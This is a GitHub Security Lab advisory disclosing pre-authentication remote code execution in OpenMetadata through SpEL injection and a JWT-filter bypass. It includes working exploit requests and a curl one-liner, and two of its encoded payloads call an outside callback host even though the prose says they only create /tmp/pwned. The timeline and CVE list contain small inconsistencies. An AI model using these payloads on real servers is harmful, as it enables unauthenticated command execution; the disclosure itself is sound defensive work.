GHSL-2023-235\_GHSL-2023-237,GHSL-2023-251\_GHSL-2023-252: Pre-authentication RCE in OpenMetadata - CVE-2024-28253, CVE-2024-28254, CVE-2024-28255, CVE-2024-28845, CVE-2024-28848
==================================================================================================================================================================================
Coordinated Disclosure Timeline
-------------------------------
* 2023-11-30: Issues were reported to Open Medatata.
* 2023-12-14: Emails were bounced back so issues were reported via Slack.
* 2023-12-14: Reports were acknowledged.
* 2024-01-31: Issues fixes were released in December release. Open Metadata request additional time before publication to let their users enough time for patching.
* 2023-03-14: [Advisories are published](https://github.com/open-metadata/OpenMetadata/security/advisories).
Summary
-------
OpenMetadata is vulnerable to several SpEL Expression Injections and an authentication bypass leading to pre-authentication Remote Code Execution (RCE).
Product
-------
Open Metadata
Tested Version
--------------
[1.2.2](https://github.com/open-metadata/OpenMetadata/releases/tag/1.2.2-release)
Details
-------
### Issue 1: SpEL Injection in `GET /api/v1/events/subscriptions/validation/condition/<expr>` (`GHSL-2023-235`)
The [`AlertUtil::validateExpression`](https://github.com/open-metadata/OpenMetadata/blob/84054a85d3478e3e3795fe92daa633ec11c9d6d9/openmetadata-service/src/main/java/org/openmetadata/service/events/subscription/AlertUtil.java#L101) method evaluates an SpEL expression using [`getValue`](https://github.com/open-metadata/OpenMetadata/blob/84054a85d3478e3e3795fe92daa633ec11c9d6d9/openmetadata-service/src/main/java/org/openmetadata/service/events/subscription/AlertUtil.java#L108) which by default uses the [`StandardEvaluationContext`](https://github.com/spring-projects/spring-framework/blob/4e2d3573189b7c0afce62bce29cd915de4077f56/spring-expression/src/main/java/org/springframework/expression/spel/standard/SpelExpression.java#L106), allowing the expression to reach and interact with Java classes such as `java.lang.Runtime`, leading to Remote Code Execution. The `/api/v1/events/subscriptions/validation/condition/<expression>` endpoint passes user-controlled data `AlertUtil::validateExpession` allowing authenticated (non-admin) users to execute arbitrary system commands on the underlaying operating system.
[Snippet from EventSubscriptionResource.java](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/events/subscription/EventSubscriptionResource.java#L537)
@GET
@Path("/validation/condition/{expression}")
@Operation(
operationId = "validateCondition",
summary = "Validate a given condition",
description = "Validate a given condition expression used in filtering rules.",
responses = {
@ApiResponse(responseCode = "204", description = "No value is returned"),
@ApiResponse(responseCode = "400", description = "Invalid expression")
})
public void validateCondition(
@Context UriInfo uriInfo,
@Context SecurityContext securityContext,
@Parameter(description = "Expression to validate", schema = @Schema(type = "string")) @PathParam("expression")
String expression) {
AlertUtil.validateExpression(expression, Boolean.class);
}
[Snippet from AlertUtil.java](https://github.com/open-metadata/OpenMetadata/blob/84054a85d3478e3e3795fe92daa633ec11c9d6d9/openmetadata-service/src/main/java/org/openmetadata/service/events/subscription/AlertUtil.java#L101-L114)
public static <T> void validateExpression(String condition, Class<T> clz) {
if (condition == null) {
return;
}
Expression expression = parseExpression(condition);
AlertsRuleEvaluator ruleEvaluator = new AlertsRuleEvaluator(null);
try {
expression.getValue(ruleEvaluator, clz);
} catch (Exception exception) {
// Remove unnecessary class details in the exception message
String message = exception.getMessage().replaceAll("on type .*$", "").replaceAll("on object .*$", "");
throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message));
}
}
In addition, there is a missing authorization check since `Authorizer.authorize()` is never called in the affected path and, therefore, any authenticated non-admin user is able to trigger this endpoint and evaluate arbitrary SpEL expressions leading to arbitrary command execution.
This vulnerability was discovered with the help of CodeQL’s [Expression language injection (Spring)](https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection/) query.
#### Proof of concept
* Prepare the payload
* Encode the command to be run (eg: `touch /tmp/pwned`) using Base64 (eg: `dG91Y2ggL3RtcC9wd25lZA==`)
* Create the SpEL expression to run the system command: `T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))`
* Encode the payload using URL encoding:
%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29
* Send the payload using a valid JWT token:
GET /api/v1/events/subscriptions/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29 HTTP/2
Host: sandbox.open-metadata.org
Authorization: Bearer <non-admin JWT>
* Verify that a file called `/tmp/pwned` was created in the OpenMetadata server
#### Impact
This issue may lead to Remote Code Execution.
### Issue 2: SpEL Injection in `PUT /api/v1/events/subscriptions` (`GHSL-2023-251`)
Similarly to the GHSL-2023-250 issue, `AlertUtil::validateExpression` is also called from [`EventSubscriptionRepository.prepare()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EventSubscriptionRepository.java#L69-L83), which can lead to Remote Code Execution.
@Override
public void prepare(EventSubscription entity, boolean update) {
validateFilterRules(entity);
}
private void validateFilterRules(EventSubscription entity) {
// Resolve JSON blobs into Rule object and perform schema based validation
if (entity.getFilteringRules() != null) {
List<EventFilterRule> rules = entity.getFilteringRules().getRules();
// Validate all the expressions in the rule
for (EventFilterRule rule : rules) {
AlertUtil.validateExpression(rule.getCondition(), Boolean.class);
}
rules.sort(Comparator.comparing(EventFilterRule::getName));
}
}
`prepare()` is called from [`EntityRepository.prepareInternal()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EntityRepository.java#L693) which, in turn, gets called from the [`EntityResource.createOrUpdate()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/EntityResource.java#L219):
public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {
repository.prepareInternal(entity, true);
// If entity does not exist, this is a create operation, else update operation
ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName());
MetadataOperation operation = createOrUpdateOperation(resourceContext);
OperationContext operationContext = new OperationContext(entityType, operation);
if (operation == CREATE) {
CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity);
authorizer.authorize(securityContext, operationContext, createResourceContext);
entity = addHref(uriInfo, repository.create(uriInfo, entity));
return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();
}
authorizer.authorize(securityContext, operationContext, resourceContext);
PutResponse<T> response = repository.createOrUpdate(uriInfo, entity);
addHref(uriInfo, response.getEntity());
return response.toResponse();
}
Note that, even though there is an authorization check (`authorizer.authorize()`), it gets called after `prepareInternal()` gets called and, therefore, after the SpEL expression has been evaluated.
In order to reach this method, an attacker can send a PUT request to `/api/v1/events/subscriptions` which gets handled by [`EventSubscriptionResource.createOrUpdateEventSubscription()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/events/subscription/EventSubscriptionResource.java#L289):
@PUT
@Operation(
operationId = "createOrUpdateEventSubscription",
summary = "Updated an existing or create a new Event Subscription",
description = "Updated an existing or create a new Event Subscription",
responses = {
@ApiResponse(
responseCode = "200",
description = "create Event Subscription",
content =
@Content(
mediaType = "application/json",
schema = @Schema(implementation = CreateEventSubscription.class))),
@ApiResponse(responseCode = "400", description = "Bad request")
})
public Response createOrUpdateEventSubscription(
@Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreateEventSubscription create) {
// Only one Creation is allowed for Data Insight
if (create.getAlertType() == CreateEventSubscription.AlertType.DATA_INSIGHT_REPORT) {
try {
repository.getByName(null, create.getName(), repository.getFields("id"));
} catch (EntityNotFoundException ex) {
if (ReportsHandler.getInstance() != null && ReportsHandler.getInstance().getReportMap().size() > 0) {
throw new BadRequestException("Data Insight Report Alert already exists.");
}
}
}
EventSubscription eventSub = getEventSubscription(create, securityContext.getUserPrincipal().getName());
Response response = createOrUpdate(uriInfo, securityContext, eventSub);
repository.updateEventSubscription((EventSubscription) response.getEntity());
return response;
}
This vulnerability was discovered with the help of [CodeQL’s Expression language injection (Spring)](https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection/) query.
#### Proof of concept
* Prepare the payload
* Encode the command to be run (eg: `touch /tmp/pwned`) using Base64 (eg: `dG91Y2ggL3RtcC9wd25lZA==`)
* Create the SpEL expression to run the system command: `T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))`
* Send the payload using a valid JWT token:
PUT /api/v1/events/subscriptions HTTP/1.1
Host: localhost:8585
Authorization: Bearer <non-admin JWT>
accept: application/json
Connection: close
Content-Type: application/json
Content-Length: 353
{
"name":"ActivityFeedAlert","displayName":"Activity Feed Alerts","alertType":"ChangeEvent","filteringRules":{"rules":[
{"name":"pwn","effect":"exclude","condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]},"subscriptionType":"ActivityFeed","enabled":true
}
* Verify that a file called `/tmp/pwned` was created in the OpenMetadata server
#### Impact
This issue may lead to Remote Code Execution.
### Issue 3: SpEL Injection in `GET /api/v1/policies/validation/condition/<expr>` (`GHSL-2023-236`)
The [`CompiledRule::validateExpression`](https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L51) method evaluates an SpEL expression using an [`StandardEvaluationContext`](https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L57), allowing the expression to reach and interact with Java classes such as `java.lang.Runtime`, leading to Remote Code Execution. The `/api/v1/policies/validation/condition/<expression>` endpoint passes user-controlled data `CompiledRule::validateExpession` allowing authenticated (non-admin) users to execute arbitrary system commands on the underlaying operating system.
[Snippet from PolicyResource.java](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/policies/PolicyResource.java#L448)
@GET
@Path("/validation/condition/{expression}")
@Operation(
operationId = "validateCondition",
summary = "Validate a given condition",
description = "Validate a given condition expression used in authoring rules.",
responses = {
@ApiResponse(responseCode = "204", description = "No value is returned"),
@ApiResponse(responseCode = "400", description = "Invalid expression")
})
public void validateCondition(
@Context UriInfo uriInfo,
@Context SecurityContext securityContext,
@Parameter(description = "Expression of validating rule", schema = @Schema(type = "string"))
@PathParam("expression")
String expression) {
CompiledRule.validateExpression(expression, Boolean.class);
}
public static <T> void validateExpression(String condition, Class<T> clz) {
if (condition == null) {
return;
}
Expression expression = parseExpression(condition);
RuleEvaluator ruleEvaluator = new RuleEvaluator();
StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator);
try {
expression.getValue(evaluationContext, clz);
} catch (Exception exception) {
// Remove unnecessary class details in the exception message
String message = exception.getMessage().replaceAll("on type .*$", "").replaceAll("on object .*$", "");
throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message));
}
}
In addition, there is a missing authorization check since `Authorizer.authorize()` is never called in the affected path and therefore any authenticated non-admin user is able to trigger this endpoint and evaluate arbitrary SpEL expressions leading to arbitrary command execution.
This vulnerability was discovered with the help of CodeQL’s [Expression language injection (Spring)](https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection/) query.
#### Proof of concept
* Prepare the payload
* Encode `touch /tmp/pwned` in Base64 => `dG91Y2ggL3RtcC9wd25lZA==`
* SpEL expression to run system command: `T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))`
* Encode the payload using URL encoding:
%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29
* Send the payload using a valid JWT token:
GET /api/v1/policies/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%62%6e%4e%73%62%32%39%72%64%58%41%67%61%58%70%73%4e%7a%45%33%62%33%42%69%62%57%52%79%5a%57%46%6f%61%33%4a%6f%63%44%4e%72%63%32%70%72%61%47%4a%75%4d%6d%4a%7a%65%6d%67%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%3d%22%29%29%29 HTTP/2
Host: sandbox.open-metadata.org
Authorization: Bearer <non-admin JWT>
* Verify that a file called `/tmp/pwned` was created in the OpenMetadata server
#### Impact
This issue may lead to Remote Code Execution.
### Issue 4: SpEL Injection in `PUT /api/v1/policies` (`GHSL-2023-252`)
`CompiledRule::validateExpression` is also called from [`PolicyRepository.prepare`](https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/PolicyRepository.java#L113)
@Override
public void prepare(Policy policy, boolean update) {
validateRules(policy);
}
...
public void validateRules(Policy policy) {
List<Rule> rules = policy.getRules();
if (nullOrEmpty(rules)) {
throw new IllegalArgumentException(CatalogExceptionMessage.EMPTY_RULES_IN_POLICY);
}
// Validate all the expressions in the rule
for (Rule rule : rules) {
CompiledRule.validateExpression(rule.getCondition(), Boolean.class);
rule.getResources().sort(String.CASE_INSENSITIVE_ORDER);
rule.getOperations().sort(Comparator.comparing(MetadataOperation::value));
// Remove redundant resources
rule.setResources(filterRedundantResources(rule.getResources()));
// Remove redundant operations
rule.setOperations(filterRedundantOperations(rule.getOperations()));
}
rules.sort(Comparator.comparing(Rule::getName));
}
`prepare()` is called from [`EntityRepository.prepareInternal()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EntityRepository.java#L693) which, in turn, gets called from the [`EntityResource.createOrUpdate()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/EntityResource.java#L219):
public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {
repository.prepareInternal(entity, true);
// If entity does not exist, this is a create operation, else update operation
ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName());
MetadataOperation operation = createOrUpdateOperation(resourceContext);
OperationContext operationContext = new OperationContext(entityType, operation);
if (operation == CREATE) {
CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity);
authorizer.authorize(securityContext, operationContext, createResourceContext);
entity = addHref(uriInfo, repository.create(uriInfo, entity));
return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();
}
authorizer.authorize(securityContext, operationContext, resourceContext);
PutResponse<T> response = repository.createOrUpdate(uriInfo, entity);
addHref(uriInfo, response.getEntity());
return response.toResponse();
}
Note that even though there is an authorization check (`authorizer.authorize()`), it gets called after `prepareInternal()` gets called and therefore after the SpEL expression has been evaluated.
In order to reach this method, an attacker can send a PUT request to `/api/v1/policies` which gets handled by [`PolicyResource.createOrUpdate()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/policies/PolicyResource.java#L365):
@PUT
@Operation(
operationId = "createOrUpdatePolicy",
summary = "Create or update a policy",
description = "Create a new policy, if it does not exist or update an existing policy.",
responses = {
@ApiResponse(
responseCode = "200",
description = "The policy",
content = @Content(mediaType = "application/json", schema = @Schema(implementation = Policy.class))),
@ApiResponse(responseCode = "400", description = "Bad request")
})
public Response createOrUpdate(
@Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreatePolicy create) {
Policy policy = getPolicy(create, securityContext.getUserPrincipal().getName());
return createOrUpdate(uriInfo, securityContext, policy);
}
This vulnerability was discovered with the help of [CodeQL’s Expression language injection (Spring)](https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection/) query.
#### Proof of concept
* Prepare the payload
* Encode the command to be run (eg: `touch /tmp/pwned`) using Base64 (eg: `dG91Y2ggL3RtcC9wd25lZA==`)
* Create the SpEL expression to run the system command: `T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))`
* Send the payload using a valid JWT token:
PUT /api/v1/policies HTTP/1.1
Host: localhost:8585
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
Authorization: Bearer <non-admin JWT>
accept: application/json
Connection: close
Content-Type: application/json
Content-Length: 367
{"name":"TeamOnlyPolicy","rules":[{"name":"TeamOnlyPolicy-Rule","description":"Deny all the operations on all the resources for all outside the team hierarchy..","effect":"deny","operations":["All"],"resources":["All"],"condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]}
* Verify that a file called `/tmp/pwned` was created in the OpenMetadata server
#### Impact
This issue may lead to Remote Code Execution.
### Issue 5: Authentication Bypass (`GHSL-2023-237`)
The [`JwtFilter`](https://github.com/open-metadata/OpenMetadata/blob/e2043a3f31312ebb42391d6c93a67584d798de52/openmetadata-service/src/main/java/org/openmetadata/service/security/JwtFilter.java#L111) handles the API authentication by requiring and verifying JWT tokens. Not all the endpoints require authentication and those excluded are listed in the `EXCLUDED_ENDPOINTS`:
public static final List<String> EXCLUDED_ENDPOINTS =
List.of(
"v1/system/config",
"v1/users/signup",
"v1/system/version",
"v1/users/registrationConfirmation",
"v1/users/resendRegistrationToken",
"v1/users/generatePasswordResetLink",
"v1/users/password/reset",
"v1/users/checkEmailInUse",
"v1/users/login",
"v1/users/refresh");
When a new request comes in, the request’s path is checked against this list [here](https://github.com/open-metadata/OpenMetadata/blob/e2043a3f31312ebb42391d6c93a67584d798de52/openmetadata-service/src/main/java/org/openmetadata/service/security/JwtFilter.java#L113):
public void filter(ContainerRequestContext requestContext) {
UriInfo uriInfo = requestContext.getUriInfo();
if (EXCLUDED_ENDPOINTS.stream().anyMatch(endpoint -> uriInfo.getPath().contains(endpoint))) {
return;
}
...
<JWT Token Validation>
When the request’s path contains any of the excluded endpoints the filter returns without validating the JWT. Unfortunately, an attacker may use Path Parameters to make any path contain any arbitrary strings. For example, a request to `GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/111` will match the excluded endpoint condition and therefore will be processed with no JWT validation allowing an attacker to bypass the authentication mechanism and reach any arbitrary endpoint, including the ones listed above that lead to arbitrary SpEL expression injection.
This bypass will not work when the endpoint uses the `SecurityContext.getUserPrincipal()` since it will return `null` and will throw an NPE. This is the case for issues 2 and 4 in this report.
#### Proof of concept
* Using the payload created previously, append `;v1%2fusers%2flogin` to any path segment and submit it with no JWT:
curl 'http://localhost:8585/api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%62%6e%4e%73%62%32%39%72%64%58%41%67%61%58%70%73%4e%7a%45%33%62%33%42%69%62%57%52%79%5a%57%46%6f%61%33%4a%6f%63%44%4e%72%63%32%70%72%61%47%4a%75%4d%6d%4a%7a%65%6d%67%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%3d%22%29%29%29'
* Verify that a file called `/tmp/pwned` was created in the OpenMetadata server
#### Impact
This issue may lead to authentication bypass.
### Issue 6: SpEL Injection in`AlertUtil.evaluateAlertConditions`
The [`AlertUtils::evaluateAlertConditions`](https://github.com/open-metadata/OpenMetadata/blob/84054a85d3478e3e3795fe92daa633ec11c9d6d9/openmetadata-service/src/main/java/org/openmetadata/service/events/subscription/AlertUtil.java#L167) method evaluates an SpEL expression using an [`StandardEvaluationContext`](https://github.com/open-metadata/OpenMetadata/blob/84054a85d3478e3e3795fe92daa633ec11c9d6d9/openmetadata-service/src/main/java/org/openmetadata/service/events/subscription/AlertUtil.java#L172), allowing the expression to reach and interact with Java classes such as `java.lang.Runtime`, leading to Remote Code Execution.
public static boolean evaluateAlertConditions(ChangeEvent changeEvent, List<EventFilterRule> alertFilterRules) {
if (!alertFilterRules.isEmpty()) {
boolean result;
String completeCondition = buildCompleteCondition(alertFilterRules);
AlertsRuleEvaluator ruleEvaluator = new AlertsRuleEvaluator(changeEvent);
StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator);
Expression expression = parseExpression(completeCondition);
result = Boolean.TRUE.equals(expression.getValue(evaluationContext, Boolean.class));
LOG.debug("Alert evaluated as Result : {}", result);
return result;
} else {
return true;
}
}
We are not reporting this issue as a vulnerability (GHSL) since creating an alert filter rule requires admin privileges. However, we consider that not even admins should be able to run arbitrary system commands and therefore we recommend the use of a `SimpleEvaluationContext`
### Issue 7: SpEL Injection in`CompiledRule.evaluatePermission`
The [`CompiledRule.evaluatePersmisson`](https://github.com/open-metadata/OpenMetadata/blob/e2043a3f31312ebb42391d6c93a67584d798de52/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L158C1-L181C4), [`CompiledRule.evaluateAllowRule`](https://github.com/open-metadata/OpenMetadata/blob/e2043a3f31312ebb42391d6c93a67584d798de52/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L115C1-L132C4) and [`CompileRule.evaluateDenyRule`](https://github.com/open-metadata/OpenMetadata/blob/e2043a3f31312ebb42391d6c93a67584d798de52/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L77C1-L106C4) methods call the [`CompiledRule.matchExpession`](https://github.com/open-metadata/OpenMetadata/blob/e2043a3f31312ebb42391d6c93a67584d798de52/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L203) method which evaluates SpEL expressions using an [`StandardEvaluationContext`](https://github.com/open-metadata/OpenMetadata/blob/84054a85d3478e3e3795fe92daa633ec11c9d6d9/openmetadata-service/src/main/java/org/openmetadata/service/events/subscription/AlertUtil.java#L172), allowing the expression to reach and interact with Java classes such as `java.lang.Runtime`, leading to Remote Code Execution.
private boolean matchExpression(
PolicyContext policyContext, SubjectContext subjectContext, ResourceContextInterface resourceContext) {
Expression expr = getExpression();
if (expr == null) {
return true;
}
RuleEvaluator ruleEvaluator = new RuleEvaluator(policyContext, subjectContext, resourceContext);
StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator);
return Boolean.TRUE.equals(expr.getValue(evaluationContext, Boolean.class));
}
We are not reporting this issue as a vulnerability (GHSL) since creating a policy requires admin privileges. However, we consider that not even admins should be able to run arbitrary system commands and therefore we recommend the use of a `SimpleEvaluationContext`
CVE
---
* CVE-2024-28253 (SpEL Injection in `PUT /api/v1/policies` \- GHSL-2023-252)
* CVE-2024-28847 (SpEL Injection in `PUT /api/v1/events/subscriptions` \- GHSL-2023-251)
* CVE-2024-28254 (SpEL Injection in `GET /api/v1/events/subscriptions/validation/condition/<expr>` \- GHSL-2023-235)
* CVE-2024-28848 (SpEL Injection in `GET /api/v1/policies/validation/condition/<expr>` \- GHSL-2023-236)
* CVE-2024-28255 (Authentication Bypass - GHSL-2023-237)
Credit
------
These issues were discovered and reported by GHSL team member [@pwntester (Alvaro Muñoz)](https://github.com/pwntester).
Contact
-------
You can contact the GHSL team at `securitylab@github.com`, please include a reference to `GHSL-2023-235`, `GHSL-2023-236`, `GHSL-2023-237`, `GHSL-2023-251` or `GHSL-2023-252` in any communication regarding these issues.
暂无评论